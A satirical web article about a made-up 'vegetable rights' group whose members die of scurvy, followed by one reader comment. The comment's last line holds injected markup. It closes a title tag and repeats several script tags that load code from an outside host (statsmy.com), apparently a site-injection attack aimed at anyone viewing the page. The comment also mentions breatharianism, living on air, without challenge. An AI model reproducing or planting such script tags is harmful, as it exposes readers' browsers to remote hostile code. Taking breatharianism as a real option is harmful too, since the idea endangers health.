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Vegetable Juice is Murder
by Rich Hilborn on 1/17/2004 (1)

A recent animal rights activist group has changed it's focus. Now no longer is it protesting against the eating of animals but the eating of vegetables. It's leader Jauque Strap has had this to say "Dude, like seriously do you realize how many vegetables are eaten daily? Well I don't know either. But it's probably a huge number. You know. Yeah. Like seriously Vegetable Juice is murder, Greenhouses are slaughter houses, and Tofu... well it just doesn't taste good." When asked if Fruit would also be saved Mr.Strap replyed "Who wants to protect fruit?".

This group calling itself 'DON'T BE A RABBIT! STOP EATING RABBIT FOOD!' or DBASERF for short, has protested at several grocerie stores but were chased away by bag boys. However they are still hopeful, "We've been going to schools" says Jauque Strap " and been handing out pamphlets. Most of the kids we talked to said their parents forced them to eat vegetables! I mean now the kids are being force fed vegetables! Like seriously, why is the world so cruel to our green, red and purple brothers?!?!"

Unfortunatly DBASERF has hit a snag, their group is having a battle against the illness known as scurvy. Mr.Strap replys to this problem "You know how like everyone says the Vegetables have Vitamin C? Yeah... well uhhh.... We need some. Some vitamin C not vegetables. Gotta save our leafy brothers. So we're having a bottle of Vitamin C tablets sent to us. The only problem is is that we need $15. Dude do you have $15 'cause we already spent all our money on tye-dye for our shirts."

When we told them that, no we didn't have $15 dollars Jauque seemed to get angry but had no more strength in his muscles and just fell down, where he went straight to sleep.

We are sad to say that most of DBASERF died during that night and the rest finally ate a carrot and were all better. Jauque was not one of the lucky ones with his last words being "You traitors! I can't believe you're eating a carrot. Gaaa hack!" After that his mouth and throat muscles ceased to function and he passed on.

Well maybe someday, someone that has $15 will hear the call and fight for the rights of vegetables everywhere. src


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Comments

1. by feaglin on 3/1/2007 4:52:29 PM
yeah! I've been saying this all along... well no I haven't but was thinking it! an image flashes into my mind of plant-activists opening the gates to a corn field and shouting: "Go veggie friends, you are free!" In Dutch if something's made of plants it's called 'plantaardig'. 'plant' being quite obvious, and 'aardig' meaning 'by nature' or 'of that kind'. 'aardig' also means 'nice' (which in English is also 'kind', strange the way the language works). But things that are 'plant-kind' are not kind to plants at all :'( It's just so cruel. but seriously, many people (including me) believe that trees are sentient beings with a soul, and 'tree-hugging' is just a form of direct communication between us and our cellulose friends. I don't think I have said it here before but has anyone ever heard of breathairianism (breath-air-ianism)? It's sustaining the body with the energy in the air. There's a lot more to say about it, but not in this commentone">< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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